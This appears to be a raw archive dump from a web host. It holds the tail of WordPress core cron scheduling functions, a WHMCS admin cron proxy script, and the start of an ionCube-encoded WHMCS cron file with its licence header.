			if ( isset( $schedules[ $hook ]['callback'] )
				&& ! call_user_func( $schedules[ $hook ]['callback'] )
			) {
				continue;
			}

			$results[] = spawn_cron( $gmt_time );
			break 2;
		}
	}

	if ( in_array( false, $results, true ) ) {
		return false;
	}

	return count( $results );
}

/**
 * Retrieves supported event recurrence schedules.
 *
 * The default supported recurrences are 'hourly', 'twicedaily', 'daily', and 'weekly'.
 * A plugin may add more by hooking into the {@see 'cron_schedules'} filter.
 * The filter accepts an array of arrays. The outer array has a key that is the name
 * of the schedule, for example 'monthly'. The value is an array with two keys,
 * one is 'interval' and the other is 'display'.
 *
 * The 'interval' is a number in seconds of when the cron job should run.
 * So for 'hourly' the time is `HOUR_IN_SECONDS` (`60 * 60` or `3600`). For 'monthly',
 * the value would be `MONTH_IN_SECONDS` (`30 * 24 * 60 * 60` or `2592000`).
 *
 * The 'display' is the description. For the 'monthly' key, the 'display'
 * would be `__( 'Once Monthly' )`.
 *
 * For your plugin, you will be passed an array. You can add your
 * schedule by doing the following:
 *
 *     // Filter parameter variable name is 'array'.
 *     $array['monthly'] = array(
 *         'interval' => MONTH_IN_SECONDS,
 *         'display'  => __( 'Once Monthly' )
 *     );
 *
 * @since 2.1.0
 * @since 5.4.0 The 'weekly' schedule was added.
 *
 * @return array {
 *     The array of cron schedules keyed by the schedule name.
 *
 *     @type array ...$0 {
 *         Cron schedule information.
 *
 *         @type int    $interval The schedule interval in seconds.
 *         @type string $display  The schedule display name.
 *     }
 * }
 */
function wp_get_schedules() {
	$schedules = array(
		'hourly'     => array(
			'interval' => HOUR_IN_SECONDS,
			'display'  => __( 'Once Hourly' ),
		),
		'twicedaily' => array(
			'interval' => 12 * HOUR_IN_SECONDS,
			'display'  => __( 'Twice Daily' ),
		),
		'daily'      => array(
			'interval' => DAY_IN_SECONDS,
			'display'  => __( 'Once Daily' ),
		),
		'weekly'     => array(
			'interval' => WEEK_IN_SECONDS,
			'display'  => __( 'Once Weekly' ),
		),
	);

	/**
	 * Filters the non-default cron schedules.
	 *
	 * @since 2.1.0
	 *
	 * @param array $new_schedules {
	 *     An array of non-default cron schedules keyed by the schedule name. Default empty array.
	 *
	 *     @type array ...$0 {
	 *         Cron schedule information.
	 *
	 *         @type int    $interval The schedule interval in seconds.
	 *         @type string $display  The schedule display name.
	 *     }
	 * }
	 */
	return array_merge( apply_filters( 'cron_schedules', array() ), $schedules );
}

/**
 * Retrieves the name of the recurrence schedule for an event.
 *
 * @see wp_get_schedules() for available schedules.
 *
 * @since 2.1.0
 * @since 5.1.0 {@see 'get_schedule'} filter added.
 *
 * @param string $hook Action hook to identify the event.
 * @param array  $args Optional. Arguments passed to the event's callback function.
 *                     Default empty array.
 * @return string|false Schedule name on success, false if no schedule.
 */
function wp_get_schedule( $hook, $args = array() ) {
	$schedule = false;
	$event    = wp_get_scheduled_event( $hook, $args );

	if ( $event ) {
		$schedule = $event->schedule;
	}

	/**
	 * Filters the schedule name for a hook.
	 *
	 * @since 5.1.0
	 *
	 * @param string|false $schedule Schedule for the hook. False if not found.
	 * @param string       $hook     Action hook to execute when cron is run.
	 * @param array        $args     Arguments to pass to the hook's callback function.
	 */
	return apply_filters( 'get_schedule', $schedule, $hook, $args );
}

/**
 * Retrieves cron jobs ready to be run.
 *
 * Returns the results of _get_cron_array() limited to events ready to be run,
 * ie, with a timestamp in the past.
 *
 * @since 5.1.0
 *
 * @return array[] Array of cron job arrays ready to be run.
 */
function wp_get_ready_cron_jobs() {
	/**
	 * Filter to override retrieving ready cron jobs.
	 *
	 * Returning an array will short-circuit the normal retrieval of ready
	 * cron jobs, causing the function to return the filtered value instead.
	 *
	 * @since 5.1.0
	 *
	 * @param null|array[] $pre Array of ready cron tasks to return instead. Default null
	 *                          to continue using results from _get_cron_array().
	 */
	$pre = apply_filters( 'pre_get_ready_cron_jobs', null );

	if ( null !== $pre ) {
		return $pre;
	}

	$crons    = _get_cron_array();
	$gmt_time = microtime( true );
	$results  = array();

	foreach ( $crons as $timestamp => $cronhooks ) {
		if ( $timestamp > $gmt_time ) {
			break;
		}

		$results[ $timestamp ] = $cronhooks;
	}

	return $results;
}

//
// Private functions.
//

/**
 * Retrieves cron info array option.
 *
 * @since 2.1.0
 * @since 6.1.0 Return type modified to consistently return an array.
 * @access private
 *
 * @return array[] Array of cron events.
 */
function _get_cron_array() {
	$cron = get_option( 'cron' );
	if ( ! is_array( $cron ) ) {
		return array();
	}

	if ( ! isset( $cron['version'] ) ) {
		$cron = _upgrade_cron_array( $cron );
	}

	unset( $cron['version'] );

	return $cron;
}

/**
 * Updates the cron option with the new cron array.
 *
 * @since 2.1.0
 * @since 5.1.0 Return value modified to outcome of update_option().
 * @since 5.7.0 The `$wp_error` parameter was added.
 *
 * @access private
 *
 * @param array[] $cron     Array of cron info arrays from _get_cron_array().
 * @param bool    $wp_error Optional. Whether to return a WP_Error on failure. Default false.
 * @return bool|WP_Error True if cron array updated. False or WP_Error on failure.
 */
function _set_cron_array( $cron, $wp_error = false ) {
	if ( ! is_array( $cron ) ) {
		$cron = array();
	}

	$cron['version'] = 2;

	$result = update_option( 'cron', $cron, true );

	if ( $wp_error && ! $result ) {
		return new WP_Error(
			'could_not_set',
			__( 'The cron event list could not be saved.' )
		);
	}

	return $result;
}

/**
 * Upgrades a cron info array.
 *
 * This function upgrades the cron info array to version 2.
 *
 * @since 2.1.0
 * @access private
 *
 * @param array $cron Cron info array from _get_cron_array().
 * @return array An upgraded cron info array.
 */
function _upgrade_cron_array( $cron ) {
	if ( isset( $cron['version'] ) && 2 === $cron['version'] ) {
		return $cron;
	}

	$new_cron = array();

	foreach ( (array) $cron as $timestamp => $hooks ) {
		foreach ( (array) $hooks as $hook => $args ) {
			$key = md5( serialize( $args['args'] ) );

			$new_cron[ $timestamp ][ $hook ][ $key ] = $args;
		}
	}

	$new_cron['version'] = 2;

	update_option( 'cron', $new_cron, true );

	return $new_cron;
}
home/webtaragh/public_html/whmcs/admin/cron.php000064400000001570147360773070015646 0ustar00<?php

use WHMCS\Cron;
use WHMCS\Exception\Fatal;
use WHMCS\Terminus;

/**
 * admin/cron.php
 *
 * This file is deprecated and here for backwards compatibility.
 *
 * The distributed version of WHMCS provides the main application cron in
 * crons/cron.php
 *
 * The crons folder may be moved to any place above or below the docroot.
 *
 * For more information please see https://docs.whmcs.com/Custom_Crons_Directory
 */
/** @var WHMCS\Application $whmcs */

require dirname(__DIR__) . DIRECTORY_SEPARATOR . 'init.php';

define('PROXY_FILE', true);

try {
    $path = Cron::getCronsPath(basename(__FILE__));
    require_once $path;
} catch (Fatal $e) {
    echo Cron::formatOutput(Cron::getCronRootDirErrorMessage());
    Terminus::getInstance()->doExit(1);
} catch (\Exception $e) {
    echo Cron::formatOutput(Cron::getCronPathErrorMessage());
    Terminus::getInstance()->doExit(1);
}
home/webtaragh/public_html/whmcs/crons/cron.php000064400000073263147360777270015720 0ustar00<?php //ICB0 72:0 81:4664                                                     ?><?php //00cb7
// *************************************************************************
// *                                                                       *
// * WHMCS - The Complete Client Management, Billing & Support Solution    *
// * Copyright (c) WHMCS Ltd. All Rights Reserved,                         *
// * Version:8.8.0 (8.8.0-release.1)                                      *
// * BuildId:06fc63b.326                                                  *
// * Build Date:20 Sep 2023                                               *
// *                                                                       *
// *************************************************************************
// *                                                                       *
// * Email: info@whmcs.com                                                 *
// * Website: http://www.whmcs.com                                         *
// *                                                                       *
// *************************************************************************
// *                                                                       *
// * This software is furnished under a license and may be used and copied *
// * only  in  accordance  with  the  terms  of such  license and with the *
// * inclusion of the above copyright notice.  This software  or any other *
// * copies thereof may not be provided or otherwise made available to any *
// * other person.  No title to and  ownership of the  software is  hereby *
// * transferred.                                                          *
// *                                                                       *
// * You may not reverse  engineer, decompile, defeat  license  encryption *
// * mechanisms, or  disassemble this software product or software product *
// * license.  WHMCompleteSolution may terminate this license if you don't *
// * comply with any of the terms and conditions set forth in our end user *
// * license agreement (EULA).  In such event,  licensee  agrees to return *
// * licensor  or destroy  all copies of software  upon termination of the *
// * license.                                                              *
// *                                                                       *
// * Please see the EULA file for the full End User License Agreement.     *
// *                                                                       *
// *************************************************************************
if(extension_loaded('ionCube Loader')){die('The file '.__FILE__." is corrupted.\n");}echo("\nScript error: the ".(($cli=(php_sapi_name()=='cli')) ?'ionCube':'<a href="https://www.ioncube.com">ionCube</a>')." Loader for PHP needs to be installed.\n\nThe ionCube Loader is the industry standard PHP extension for running protected PHP code,\nand can usually be added easily to a PHP installation.\n\nFor Loaders please visit".($cli?":\n\nhttps://get-loader.ioncube.com\n\nFor":' <a href="https://get-loader.ioncube.com">get-loader.ioncube.com</a> and for')." an instructional video please see".($cli?":\n\nhttp://ioncu.be/LV\n\n":' <a href="http://ioncu.be/LV">http://ioncu.be/LV</a> ')."\n\n");exit(199);
?>
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
